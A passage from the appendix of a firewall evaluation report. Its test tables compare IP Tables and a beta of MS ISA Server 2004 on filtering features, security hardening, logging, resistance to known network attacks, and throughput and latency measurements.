Test: URG: Urgent pointer field significant	
Result	☑
Comments	keywords *–tcp-flags* module *tcp*
Test: ACK: Acknowledgment field significant	
Result	☑
Comments	keywords *–tcp-flags* module *tcp*
Test: PSH: Push function	
Result	☑
Comments	keywords *–tcp-flags* module *tcp*
Test: RST: Reset the connection	
Result	☑
Comments	keywords *–tcp-flags* module *tcp*
Test: SYN: Synchronise sequence numbers	
Result	☑

Comments	keywords *–tcp-flags* module *tcp*
Test: FIN: No more data from sender	
Result	
Comments	keywords *–tcp-flags* module *tcp*
Test: Window	
Result	
Comments	
Test: Checksum	
Result	
Comments	
Test: Urgent pointer	
Result	
Comments	
Test: Options	
Result	
Comments	keyword *–tcp-option* module *tcp*
Test: Padding	
Result	
Comments	

Table 57: IP Tables - rulesets - transport layer - fields of TCP

Number: III/XIII	
System: B	
Test: Source port	
Result	
Comments	keywords *–source-port* module *udp*
Test: Destination port	
Result	
Comments	keywords *–destination-port* module *udp*
Test: Length	
Result	
Comments	
Test: Checksum	
Result	
Comments	

Table 58: IP Tables - rulesets - transport layer - fields of UDP

A.3.4 Security and its configuration

A.3.4.1 Access to the firewall

Number: IV/I	
System: B	
Test: Access must only be granted through a secure path	
Result	
Comments	The firewall system is only accessible via SSH version 2 (by default) and local login.
Test: User authentication must happen with strong encryption	
Result	
Comments	passwords are stored as MD5 hashes
Test: The role of a reviser must be offered	
Result	
Comments	must be created (*useradd, passwd*)
Test: Access to the system must be logged	
Result	
Comments	*/var/log/auth.log*

Table 59: IP Tables - security - access

A.3.4.2 Hardening the operating system

Number: IV/II	
System: B	
Test: The firewall should only depend on necessary software	
Result	
Comments	Used size: 1GB, no unnecessary software like desktop environment, games or unused services is installed.

Table 60: IP Tables - security - operating system

A.3.4.3 Selftests

Number: IV/III
System: B
Test: Test integrity in non regular intervals

Result	☒
Comments	Feature is not supported by IP Tables itself.
Test: List current connections	
Result	☑
Comments	read file */proc/net/ip_conntrack*

Table 61: IP Tables - security - selftests

A.3.4.4 Guessing and fingerprinting

Number: IV/IV	
System: B	
Ruleset	1
Scenario	1
Test: The firewall must hide its properties	
Result	☐
Comments	Nmap was able to detect a linux 2.4.X or 2.5.X which is not correct but comes close to it.
Test: The firewall must use random sequence numbers	
Result	☑
Comments	Nmap class: random positive increments; difficulty: 4607849 (Good luck!).
Test: The firewall must use random IP ID's	
Result	☒
Comments	IP ID sequence generation: all zeros (path MTU Discovery).
Test: The firewall must be able to rewrite packets	
Result	☐
Comments	Some rewriting operations are supported by patch-o-matic (for example ttl).

Table 62: IP Tables - security - fingerprinting

A.3.4.5 Logging and notification

Number: IV/V	
System: B	
Test: Log to persistant storage	
Result	☐

Comments	keywords *klogd* . *syslogd* , the logging is not accurate in overload situations (see chapter A.3.6 on page 50)
Test: Log rotation	
Result	☑
Comments	Log rotation is done by the operating system.
Test: Log backup/transfer	
Result	☐
Comments	Log backup can be scripted easily (backup /var/log/messages.*)
Test: Automatic logfile processing/scripting	
Result	☐
Comments	Possible with *logsurfer* or standard unix tools.
Test: Maximum logfile size	
Result	2 TB
Comments	The logfile size is limited by the used filesystem (ext3) and storage device.
Test: Ability to log any information which it can filter by	
Result	☑
Comments	
Test: Ability to alert admin in case of emergency	
Result	☐
Comments	possible by third party tools
Test: Ability to alert by mail	
Result	☐
Comments	possible by third party tools
Test: Ability to alert by pager	
Result	☐
Comments	possible by third party tools
Test: Ability to alert by sms	
Result	☐
Comments	possible by third party tools
Test: Ability to alert by snmp trap	
Result	☐
Comments	possible by third party tools

Table 63: IP Tables - security - logging

A.3.4.6 Default behaviour on start-up

Number: IV/VI

System: B	
Test: The firewall must start up in a secure state	
Result	
Comments	By default routing is deactivated during start-up but the firewall software is not started. The protected computers are save but the firewall system itself is vulnerable. To solve this problem you have to swap the order of loading the firewall software and activating routing in the kernel. When the firewall software starts before kernel routing is activated, the firewall starts in a secure state.
Test: An empty ruleset should deny all packets	
Result	
Comments	default policy: *ACCEPT*

Table 64: IP Tables - security - default config

A.3.4.7 Fending known attacks

Fending known attacks with ruleset 1

Number: IV/VII	
System: E	
Ruleset	1
Scenario	1
Test: Land attack	
Result	
Comments	Packets are dropped without notification.
Test: Smurf attack	
Result	
Comments	Broadcasts are not routed, but the firewall answers for itself, *echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts* changed nothing!
Test: UDP smurf attack	
Result	
Comments	Broadcast **UDP** packets are not routed.
Test: ICMP flood attack	
Result	
Comments	By default there is no protection, but *iptables -A FORWARD -p icmp –icmp-type echo-request -m limit –limit 12/minute -j ACCEPT* and *iptables -A FORWARD -p icmp –icmp-type echo-request -j DROP* limits the ICMP queries to 12/min.

Test: Fragmentation attacks	
Result	
Comments	No fragments are defragmented. Tiny fragments passed the firewall.
Test: ARP spoofing	
Result	
Comments	Static arp entries are not overwritten by dynamic ones.
Test: WinNuke attack	
Result	
Comments	By default out-of-band data is routed but you can filter the packets by *iptables -A FORWARD -p tcp –tcp-flags URG URG -j DROP* .
Test: IP spoofing	
Result	
Comments	IP Tables blocks spoofed packets without logging.

Table 65: IP Tables - security - known attacks (1)

Fending known attacks with ruleset 2

Number: IV/VIII	
System: B	
Ruleset	2
Scenario	1
Test: TCP connect scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP connect scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan left1	

Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.

Table 66: IP Tables - security - known attacks (4)

Fending known attacks with ruleset 4

Number: IV/IX	
System: B	
Ruleset	4
Scenario	1

Test: DNS spoofing	
Result	
Comments	Packets (DNS replies) are only allowed on already established streams.
Test: ACK storm	
Result	
Comments	Desynchronised packets passed the firewall. To prevent this TCP-state-window tracking must be enabled by a patch from patch-o-matic.
Test: Syn flood attack	
Result	
Comments	Connections to the attacked service are not possible during the test, but new connections to other machines or other ports are possible further on.

Table 67: IP Tables - security - known attacks (2)

Fending known attacks with ruleset 5

Number: IV/X	
System: B	
Ruleset	5
Scenario	1
Test: Buffer overflow - nessus	
Result	
Comments	Linux does not use random IP ID's and answers ICMP timestamp requests.
Test: Buffer overflow - sara	
Result	
Comments	Sara did not find any vulnerabilities.

Table 68: IP Tables - security - known attacks (3)

A.3.5 Usability and documentation

Number: V/I	
System: B	
Test: Easily comprehensible and transparent, no hidden options or implicit rules	
Result	
Comments	

Test: Easily comprehensible syntax and semantics of the ruleset	
Result	☑
Comments	The manpage is clearly structured und understandable and there are many howtos available which provide basic configuration help.
Test: Ability to store the current ruleset	
Result	☑
Comments	keyword *iptables-save*
Test: Log in at least one widely known format	
Result	☑
Comments	text files with proprietary format
Test: Log information and alarm signals directly to the OS	
Result	☑
Comments	syslog
Test: Send logging information and alarm signals instantly through a secure path	
Result	☐
Comments	syslogd, secure (encrypted) connections are possible with syslog-ng
Test: React on specified incidents automatically	
Result	☒
Comments	

Table 69: IP Tables - usability

Number: V/II	
System: B	
Test: Detailed manual	
Result	☐
Comments	only online documentation, manpage and some tutorials for beginners
Test: Online help	
Result	☑
Comments	keyword *man iptables*
Test: Frequently asked questions	
Result	☐
Comments	not officially
Test: Available in various languages	
Result	☒
Comments	
Test: Available in various medias	
Result	☒
Comments	only online

Test: Explains the dependency on other software in detail	
Result	☑
Comments	needed kernel features are well documented
Test: Discusses known bugs in detail	
Result	☒
Comments	
Test: Up-to-date	
Result	☑
Comments	
Test: Website with additional information	
Result	☑
Comments	Netfilter homepage [http://www.netfilter.org]

Table 70: IP Tables - documentation

A.3.6 Performance

Throughput depending on packet size

Number: VI/I	
System: B	
Ruleset	1
Scenario	1
Packet size (bytes)	**Throughput (Mbit/s)**
100	118.23
200	145.83
300	175.44
400	178.47
500	184.23
600	196.87
700	195.53
800	204.58
900	202.47
1 000	209.45
1 100	207.38
1 200	205.55
1 300	210.74
1 400	208.75

1 500	214.18
2 000	84.95
4 000	38.53
8 000	3.25
16 000	0.00
32 000	0.00
64 000	0.00
Comment	When sending packets which have to be fragmented (>1500) the probability increases that a single fragment is dropped by the firewall because of the overload situation. When a single fragment is dropped the entire IP packet can not be reassembled. This is the reason for the little throughput at 2000, 4000, 8000, 16000 32000 and 64 000 bytes packet size. The clients answer with an *ip reassembly time exceeded* error.

Table 71: IP Tables - performance - throughput depending on packet size

Maximum throughput in routing mode with NAT/PAT

Number: VI/II	
System: B	
Ruleset	3
Scenario	1
Test: Maximum throughput in routing mode with NAT/PAT	
Result	213.28 MBit/s
Comments	1 500 byte large packets

Table 72: IP Tables - performance - throughput in routing mode with NAT/PAT

Throughput depending on size of ruleset

Number: VI/III	
System: B	
Ruleset	6
Scenario	1
Loops / rules	**Throughput (MBit/s)**
10 / 162	213.28
20 / 302	213.28
30 / 442	213.28
40 / 582	213.28

50 / 722	213.29
60 / 862	213.29
70 / 1 002	213.29
80 / 1 142	213.31
90 / 1 282	213.30
100 / 1 422	154.32
200 / 2 822	11.03
300 / 4 222	9.12
400 / 5 622	10.03
500 / 7 022	7.94
600 / 8 422	5.84
700 / 9 822	5.85
Comment	At more than 200 loops (about 2800 rules) IP Tables is overstrained, which results in varying measurements. The large ruleset causes the system to freeze for the time data reaches the firewall. The firewall stops forwarding packets to the target system after an undefined timeframe. This is the cause of the varying measurements.
Comment	The insertion of the rules takes a long time.

Table 73: IP Tables - performance - throughput depending on size of ruleset

Throughput depending on activation of stateful inspection

Number: VI/IV	
System: B	
Ruleset	4
Scenario	1
Test: Throughput with activated stateful inspection	
Result	214.03 MBit/s
Comments	1 500 byte large packets

Table 74: IP Tables - performance - throughput

Throughput depending on level of logging

Number: VI/V	
System: B	
Ruleset	7
Scenario	1

Logged computers	Throughput (MBit/s)
0	214.18
1	214.18
2	214.03
3	214.36
4	214.06
5	214.09
6	213.89
7	214.26
Comment	in every test with more than 4 computer, the logging broke. The firewall did not log all packets and even some logfile entries were overwritten in the middle of the line which resulted in a broken logfile.

Table 75: IP Tables - performance - throughput depending on level of logging

Throughput depending on number of simultaneous connections

Number: VI/VI	
System: B	
Ruleset	4
Scenario	1
Connections	**Throughput (MBit/s) - with 64 byte packets**
2 000	214.12
5 000	214.12
10 000	214.10
20 000	214.11
50 000	214.11
100 000	214.11
200 000	214.12
350 000	214.12

Table 76: IP Tables - performance - throughput depending on simultaneous connections

A.3.6.1 Latency

Best latency time through the firewall

Number: VI/VII	
System: B	
Ruleset	1
Scenario	2
Test: Best latency time	
Result	37.61 μs
Comments	

Table 77: IP Tables - performance - best latency time

Latency time depending on activation of NAT/PAT

Number: VI/VIII	
System: B	
Ruleset	3
Scenario	2
Test: Latency in routing mode with NAT/PAT	
Result	39.24 μs
Comments	

Table 78: IP Tables - performance - latency depending on NAT/PAT

Latency time depending on packet size

Number: VI/IX	
System: B	
Ruleset	1
Scenario	2
Packet size (bytes)	**Latency** (μs)
100	42.24
200	52.22
300	62.53
400	72.69
500	81.49
600	91.74
700	101.52
800	112.26

900	122.35
1 000	132.53
1 100	141.54
1 200	152.15
1 300	161.98
1 400	172.57
1 500	183.74
2 000	228.83
4 000	295.00
8 000	419.41
16 000	712.22
32 000	1 220.65
64 000	2 362.10

Table 79: IP Tables - performance - latency depending on packet size

Latency time depending on size of ruleset

Number: VI/X	
System: B	
Ruleset	6
Scenario	2
Loops	**Latency (μs) - with 64 byte packets**
10	40.77
20	43.11
30	46.92
40	53.42
50	59.80
60	65.08
70	70.47
80	73.47
90	79.00
100	121.26
200	502.80
300	727.37
400	957.17
500	1 182.81
600	1 412.50
700	1 638.63

Table 80: IP Tables - performance - latency depending on ruleset

Latency time depending on activation of stateful inspection

Number: VI/XI	
System: B	
Ruleset	4
Scenario	2
Test: Latency at activated stateful inspection	
Result	39.36 μs
Comments	

Table 81: IP Tables - performance - latency depending on activation of stateful inspection

Latency time depending on level of logging

Number: VI/XII	
System: B	
Ruleset	7
Scenario	2
Test: Latency without logging	
Result	39.54 μs
Comments	
Test: Latency with activated logging	
Result	45.48 μs
Comments	

Table 82: IP Tables - performance - latency depending on level of logging

Latency time depending on number of simultaneous connections

Number: VI/XIII	
System: B	
Ruleset	4
Scenario	1
Connections	**Latency (μs) - with 64 byte packets**
2 000	39.60
5 000	39.50

10 000	39.30
20 000	39.40
50 000 (47 369)	39.30
100 000 (94 737)	39.40
200 000 (189 474)	39.40
350 000 (331 580)	38.90
Comment	IP Tables always listed fewer connections than the number of the established ones. The number is shown in parenthesis.

Table 83: IP Tables - performance - latency depending on simultaneous connections

Latency time depending on load on firewall system

Number: VI/XIV	
System: B	
Ruleset	1
Scenario	1
Test: Latency at traffic between 12 computers	
Result	35.14 ms
Comments	The test was only possible with TCP connection because of high packet loss.

Table 84: IP Tables - performance - latency depending on load on firewall system

A.3.6.2 Maximum number of connections

Maximum number of simultaneous connections with activated stateful inspection

Number: VI/XV	
System: B	
Ruleset	4
Scenario	1
Test: Maximum number of simultaneous connections with activated stateful inspection	
Result	32 760

Comments	At 32 760 connections linux does not track new connections: *ip_conntrack: table full, dropping packet.* It was neccessary to set CONNTRACK_MAX by *echo 1048576 > /proc/sys/net/ipv4/netfilter/ip_conntrack_max* . After that it was possible to set up 350 000 connections whereas it might be possible to handle more connections.

Table 85: IP Tables - performance - simultaneous connections (1)

Maximum number of simultaneous connections with activated NAT/PAT

Number: VI/XVI	
System: B	
Ruleset	3
Scenario	1
Test: Maximum number of simultaneous connections with activated NAT/PAT	
Result	32 760
Comments	At 32 760 connections linux does not track new connections: *ip_conntrack: table full, dropping packet.* It was neccessary to set CONNTRACK_MAX by *echo 1048576 > /proc/sys/net/ipv4/netfilter/ip_conntrack_max* . After that it was possible to set up 350 000 connections whereas it might be possible to handle more connections.

Table 86: IP Tables - performance - simultaneous connections (2)

A.4 ISA Server 2004 on Windows Server 2003

A.4.1 General requirements

Number: I/I	
System: C	
Test: Every traffic must go through the firewall	
Result	☑
Comments	Given by scenario.
Test: Every traffic that is not explicitly allowed has to be denied	
Result	☑
Comments	Each ruleset of the firewall policy has a default rule which denies all the traffic that is not allowed. It is not possible to delete this rule.
Test: Administration of the firewall must only be possible through a secure path	
Result	☑
Comments	For remote administration the Terminalserver provided by Windows 2003 can be installed. It provides encrypted access through the RDP 5.2 protocol.
Test: The firewall itself must be resistant against attacks	
Result	☐
Comments	While the ISA firewall itsself was resistant against the performed attacks it did not protect the private subnet against some critical attacks. The included intrusion detection system provides a good fundament for the protection of the private network.
Test: The firewall must be resistent against failures	
Result	☒
Comments	In overload situations the firewall system crashes sometimes. Perhaps this problem is solved in the final version.

Table 87: MS ISA - general requirements

A.4.2 Optional features

Number: II/I	
System: C	
Test: Support for application filters and proxies	
Result	☑
Comments	The ISA server has included filters for DNS, FTP Access, H.323, MMS, PNM, POP intrusion detection, PPTP, RPC, RTSP, SMTP, SOCKSv4 and Web proxy.
Test: Support for network and port address translation	

Result	✓
Comments	See Configuration -> Networks -> Network Rules -> double click on rule -> Network Relationships.
Test: Support for virtual private networks	
Result	✓
Comments	See in the console tree of ISA Server Management -> Virtual Private Networks.
Test: Support for user authentication	
Result	✓
Comments	See on the right window Toolbox -> Users.
Test: Support for address aliasing	
Result	✗
Comments	Windows natively does not provide the possibility to generate virtual network interfaces. It may be possible with the use of a virtual device driver.
Test: Support for time based filtering	
Result	✓
Comments	It is possible to define if a rule is active on a special weekday to a special hour or not. By default the rule is always activated. There are templates for weekends and work time.
Test: Support for embedded antivirus	
Result	○
Comments	There is no antivirus software included, but there are severeal third-party solution available (see McAfee [http://www.networkassociates.com/us/downloads/beta/mss/]).
Test: Support for URL filtering	
Result	○
Comments	There is no URL filter included, but there are severeal third-party solution available (see DynaComm i:filter [http://www.dciseries.com/products/ifilter/isaserver.asp]).
Test: Support for traffic management	
Result	○
Comments	There is no traffic management software included, but there are severeal third-party solution available (see Rainfinity [http://www.rainfinity.com/products/rainconnect_isa.html]).
Test: Support for demilitarised zones	
Result	✓
Comments	given by hardware and operating system

Table 88: MS ISA - optional features

A.4.3 Rulesets and its configuration

Loading large ruleset wastes a lot of time but the time is needed only once. When the ruleset is loaded a reboot does not require a reload.

Number: III/I	
System: C	
Test: Allow	
Result	☑
Comments	See Firewall Policy -> double click on rule -> Action.
Test: Deny and reject	
Result	☒
Comments	It is only possible to choose deny which results in deny and drop.
Test: Deny and drop	
Result	☑
Comments	It is only possible to choose deny which results in deny and drop.
Test: Translate (**NAT**, **PAT**)	
Result	☑
Comments	See Networks -> Network Rules -> Properties -> Network Relationships -> Network Address Translation.
Test: Defragment	
Result	☒
Comments	It is not possible to differ between defragmentation and no defragmentation.
Test: Log	
Result	☑
Comments	See Firewall Policy -> double click on rule -> Action -> Log request matching this rule.

Table 89: MS ISA - rulesets - actions on packets

Number: III/II	
System: C	
Test: Evaluate the unchanged ruleset in a specified order	
Result	☑
Comments	The rules are ordered. The ISA server evaluates the rules in first match order.
Test: Test the syntax of the ruleset on integrity and contradiction in terms	
Result	☑
Comments	The GUI checks if input is syntactically correct.
Test: Test the semantics of the ruleset on integrity and contradiction in terms	

Result	☑
Comments	The GUI prevents insertion of rules with senseless content.
Test: Define a ruleset in a language with a specified grammar	
Result	☒
Comments	It is possible to export the configuration. This configuration is written in XML. It is possible to edit this file but this method is very dangerous and inadvisable because the grammer is not documented and errors are not displayed.
Test: Handling of default rules	
Result	☑
Comments	See Firewall Policy -> Default Rule.
Test: Actuate stateful inspection	
Result	☑
Comments	Each connection is handled with stateful inspection.

Table 90: MS ISA - ruleset requirements

A.4.3.1 Subnet layer (OSI layer 2)

Number: III/III	
System: C	
Test: Act by means of the affected interface	
Result	☑
Comments	See Configuration -> Networks -> Networks.
Test: Act by means of incoming or outgoing packets	
Result	☒
Comments	
Test: Act by means of fields of Ethernet	
Result	☒
Comments	ISA server only inspects on OSI3 and above.
Test: Act by means of other network technologies	
Result	☒
Comments	ISA server only inspects on OSI3 and above.

Table 91: MS ISA - rulesets - subnet layer

Number: III/IV	
System: C	
Test: Ethernet address of destination	

Result	☒
Comments	ISA server only inspects on OSI3 and above.
Test: Ethernet address of sender	
Result	☒
Comments	ISA server only inspects on OSI3 and above.
Test: Protocol type	
Result	☒
Comments	ISA server only inspects on OSI3 and above.
Test: Checksum	
Result	☒
Comments	ISA server only inspects on OSI3 and above.

Table 92: MS ISA - rulesets - subnet layer - fields of Ethernet

A.4.3.2 Internet layer (OSI layer 3)

Number: III/V	
System: C	
Test: Act by means of fields of IPv4	
Result	☑
Comments	
Test: Act by means of fields of ICMPv4	
Result	☑
Comments	
Test: Act by means of fields of IPv6	
Result	☒
Comments	The ISA server does not support IPv6.
Test: Act by means of fields of ICMPv6	
Result	☒
Comments	The ISA server does not support ICMPv6.
Test: Act by means of other network technologies	
Result	☒
Comments	

Table 93: MS ISA - rulesets - internet layer

Number: III/VI
System: C

Test: Version	
Result	☒
Comments	
Test: Internet header length	
Result	☒
Comments	
Test: Type of service	
Result	☒
Comments	
Test: Total length	
Result	☒
Comments	
Test: Identification	
Result	☒
Comments	
Test: May/don't fragment flag	
Result	☒
Comments	
Test: Last/more fragment flag	
Result	☒
Comments	
Test: Fragment offset	
Result	☒
Comments	It is possible to drop all fragments. Click General -> Define IP Preferences -> IP Fragments -> set check in Block IP fragments.
Test: Time to live	
Result	☒
Comments	
Test: Protocol	
Result	☑
Comments	Click on Firewall policy -> in the right window click Toolbox -> Protocols -> New -> Protocol -> select a name -> Next -> New -> select Protocol type IP-level and select Protocol number.
Test: Header checksum	
Result	☒
Comments	
Test: Source address	
Result	☑

Comments	Click on Firewall policy -> in the right window click Toolbox -> Network Objects -> New Address Range to define a address to filter for later in a firewall rule.
Test: Destination address	
Result	
Comments	Click on Firewall policy -> in the right window click Toolbox -> Network Objects -> New Address Range to define a address to filter for later in a firewall rule.
Test: Options	
Result	
Comments	Click General -> Define IP Preferences -> IP Options.

Table 94: MS ISA - rulesets - internet layer - fields of IPv4

Number: III/VII	
System: C	
Test: Type	
Result	
Comments	Click on Firewall policy -> in the right window click Toolbox -> Protocols -> New -> Protocol -> select a name -> Next -> New -> select Protocol type ICMP -> see ICMP type.
Test: Code	
Result	
Comments	Click on Firewall policy -> in the right window click Toolbox -> Protocols -> New -> Protocol -> select a name -> Next -> New -> select Protocol type ICMP -> see ICMP code.
Test: Checksum	
Result	
Comments	

Table 95: MS ISA - rulesets - internet layer - fields of ICMPv4

Number: III/VIII	
System: C	
Test: 0 - Echo reply	
Result	
Comments	The adequate protocol object must be generated first.
Test: 3 - Destination unreachable	
Result	
Comments	The adequate protocol object must be generated first.
Test: 4 - Source quench	

Result	☑
Comments	The adequate protocol object must be generated first.
Test: 5 - Redirect	
Result	☑
Comments	The adequate protocol object must be generated first.
Test: 8 - Echo	
Result	☑
Comments	Click Firewall policy -> in the right window click Toolbox -> Protocols -> All protocols -> see Ping.
Test: 11 - Time exceeded	
Result	☑
Comments	The adequate protocol object must be generated first.
Test: 12 - Parameter problem	
Result	☑
Comments	The adequate protocol object must be generated first.
Test: 13 - Timestamp	
Result	☑
Comments	Click Firewall policy -> in the right window click Toolbox -> Protocols -> All protocols -> see ICMP timestamp.
Test: 14 - Timestamp reply	
Result	☑
Comments	The adequate protocol object must be generated first.
Test: 15 - Information request	
Result	☑
Comments	Click Firewall policy -> in the right window click Toolbox -> Protocols -> All protocols -> see ICMP Information Request.
Test: 16 - Information reply	
Result	☑
Comments	The adequate protocol object must be generated first.

Table 96: MS ISA - rulesets - internet layer - types of ICMP

Number: III/IX	
System: C	
Test: Version	
Result	☒
Comments	ISA server does not support IPv6.
Test: Traffic class	
Result	☒

Comments	ISA server does not support IPv6.
Test: Flow label	
Result	☒
Comments	ISA server does not support IPv6.
Test: Payload length	
Result	☒
Comments	ISA server does not support IPv6.
Test: Next header	
Result	☒
Comments	ISA server does not support IPv6.
Test: Hop limit	
Result	☒
Comments	ISA server does not support IPv6.
Test: Source address	
Result	☒
Comments	ISA server does not support IPv6.
Test: Destination address	
Result	☒
Comments	ISA server does not support IPv6.

Table 97: MS ISA - rulesets - internet layer - fields of IPv6

Number: III/X	
System: C	
Test: Type	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: Code	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: Checksum	
Result	☒
Comments	ISA server does not support ICMPv6.

Table 98: MS ISA - rulesets - internet layer - fields of ICMPv6

Number: III/XI
System: C
Test: 1 - Destination unreachable

Result	☒
Comments	ISA server does not support ICMPv6.
Test: 2 - Packet too big	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 3 - Time exceeded	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 4 - Parameter problem	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 128 - Echo request	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 129 - Echo reply	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 130 - Group membership query	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 131 - Group membership qeport	
Result	☒
Comments	ISA server does not support ICMPv6.
Test: 132 - Group membership reduction	
Result	☒
Comments	ISA server does not support ICMPv6.

Table 99: MS ISA - rulesets - internet layer - types of ICMPv6

A.4.3.3 Transport layer (OSI layer 4)

Number: III/XII	
System: C	
Test: Source port	
Result	☒
Comments	It is not possible to filter packets according to the source port. But this is also not necessary since the firewall works stateful. All the traffic can be filtered according to the initiating connection and therefore the destination port is adequate.

Test: Destination port	
Result	☑
Comments	Click on Firewall policy -> in the right window click Toolbox -> Protocols -> New -> Protocol -> select a name -> Next -> New -> select Protocol type TCP -> Direction Outpound -> enter port in field *From* and field *To*
Test: Sequence number	
Result	☒
Comments	
Test: Acknowledgment number	
Result	☒
Comments	
Test: Data offset	
Result	☒
Comments	
Test: Bit 101 - Bit 106 (reserved)	
Result	☒
Comments	
Test: URG: Urgent pointer field significant	
Result	☒
Comments	
Test: ACK: Acknowledgment field significant	
Result	☒
Comments	
Test: PSH: Push function	
Result	☒
Comments	
Test: RST: Reset the connection	
Result	☒
Comments	
Test: SYN: Synchronise sequence numbers	
Result	☒
Comments	
Test: FIN: No more data from sender	
Result	☒
Comments	
Test: Window	
Result	☒
Comments	

Test: Checksum	
Result	☒
Comments	
Test: Urgent pointer	
Result	☒
Comments	
Test: Options	
Result	☒
Comments	
Test: Padding	
Result	☒
Comments	

Table 100: MS ISA - rulesets - transport layer - fields of TCP

Number: III/XIII	
System: C	
Test: Source port	
Result	☒
Comments	It is not possible to filter packets according to the source port. But this is also not necessary since the firewall works stateful. All the traffic can be filtered according to the initiating packet and therefore the destination port is adequate.
Test: Destination port	
Result	☑
Comments	Click on Firewall policy -> in the right window click Toolbox -> Protocols -> New -> Protocol -> select a name -> Next -> New -> select Protocol type UDP -> Direction Send -> enter port in field *From* and field *To*
Test: Length	
Result	☒
Comments	
Test: Checksum	
Result	☒
Comments	

Table 101: MS ISA - rulesets - transport layer - fields of UDP

A.4.4 Security and its configuration

A.4.4.1 Access to the firewall

Number: IV/I	
System: C	
Test: Access must only be granted through a secure path	
Result	
Comments	The available Terminalserver uses the RDP 5.2 protocol which supports encrypted connections to the server. The strength of the encryption is by default done in this way that the Terminalclient defines how strong the connection is encrypted. To enforce the strongest encryption algorithm choose *High* in the Terminalserver configuration.
Test: User authentication must happen with strong encryption	
Result	
Comments	The passwords of the users are stored in the **SAM**[1] database of the registry or in the directory service of the domain controller. The password is archieved encrypted there. Microsoft offers a tool called Syskey which encrypts the password with strong encryption techniques. This tool is by default not used to protect passwords. It is to assume that therefore the passwords are not encrypted strong by default.
Test: The role of a reviser must be offered	
Result	
Comments	See General -> Delegate User Roles and Permissions -> Next -> Add -> Role: ISA Server Extended Monitoring
Test: Access to the system must be logged	
Result	
Comments	Click Start -> Settings -> Control Panel -> Administrative Tools -> Event Viewer -> Security Log

Table 102: MS ISA - security - access

A.4.4.2 Hardening the operating system

Number: IV/II	
System: C	
Test: The firewall should only depend on necessary software	
Result	

[1] **SAM** - Security Accounts Manager

Comments	There is too much unneeded software installed. The installation of the operating system and the firewall software needs 3.75 GByte. The operating system and the firewall software hardens themselves with automatic security updates if the user wishes that.

Table 103: MS ISA - security - operating system

A.4.4.3 Selftests

Number: IV/III	
System: C	
Test: Test integrity in non regular intervals	
Result	☒
Comments	
Test: List current connections	
Result	☒
Comments	Monitoring -> Sessions should list the current connections. The behaviour during the tests did not approve this. The help of the final version says that a session is a unique combination of a client's IP address and a user name. If no authentication is used all traffic from the same address is considered as a single session. In the beta version it was not possible to simulate this fact. Sometimes a connection was listed and sometimes not.

Table 104: MS ISA - security - selftests

A.4.4.4 Guessing and fingerprinting

Number: IV/IV	
System: C	
Ruleset	1
Scenario	1
Test: The firewall must hide its properties	
Result	☑
Comments	Nmap was not able to identify the fingerprint.
Test: The firewall must use random sequence numbers	
Result	☑
Comments	Nmap reports: nmap Class: truly random; Difficulty: 9999999 (Good luck!).
Test: The firewall must use random IP ID's	

Result	
Comments	Nmap found out that the IP ID's are incremental.
Test: The firewall must be able to rewrite packets	
Result	
Comments	

Table 105: MS ISA - security - fingerprinting

A.4.4.5 Logging and notification

Number: IV/V	
System: C	
Test: Log to persistant storage	
Result	
Comments	You can write the log data into a file, SQL database, MSDE database (standard). See Monitoring -> Logging -> Configure Firewall Logging. You can deside which data of an affected packet should be logged. By default the log files are stored in <ISA Installation folder>\ISALogs.
Test: Log rotation	
Result	
Comments	By default log files which are older than 7 days are deleted. You can configure this option in Monitoring -> Logging -> in the right window click Configure Firewall Logging -> Options.
Test: Log backup/transfer	
Result	
Comments	There is no integrated support for this feature, but a backup can be made with the the tool ntbackup which comes with the operating system. A transfer to another computer can then be done via **SMB**[2].
Test: Automatic logfile processing/scripting	
Result	
Comments	You can analyse the logfiles with the build in logviewer. See Monitoring -> Logging -> Edit Filter Properties.
Test: Maximum logfile size	
Result	2 GByte
Comments	The logfile size is limited to 2 GByte. When the log exceeds this limit, the firewall creates a new file. In the final version it should be possible to change this size and how much disk space is used for logging.
Test: Ability to log any information which it can filter by	
Result	

[2] **SMB** - Server Message Block

Comments	You can decide which data of an affected connection should be logged in Monitoring -> Logging -> Configure Firewall Logging -> Fields. Since it is not possible to filter single packets it is also not possible to log single packets. There is only one log entry for a single connection and not entries for the single packets.
Test: Ability to alert admin in case of emergency	
Result	
Comments	The admin can be informed via email or via the event log system which is build in Windows 2003. Additionally you can specify any user program which should be executed if an error occurs.
Test: Ability to alert by mail	
Result	
Comments	See Monitoring -> Alerts -> click in the right window Configure Alert Definitions -> Add -> input a name -> Next -> Next -> Next
Test: Ability to alert by pager	
Result	
Comments	Since it is possible to run a specified user program if an alert occurs it is possible to run a program which sends messages to a pager.
Test: Ability to alert by sms	
Result	
Comments	Since it is possible to run a specified user program if an alert occurs it is possible to run a program which sends sms.
Test: Ability to alert by snmp trap	
Result	
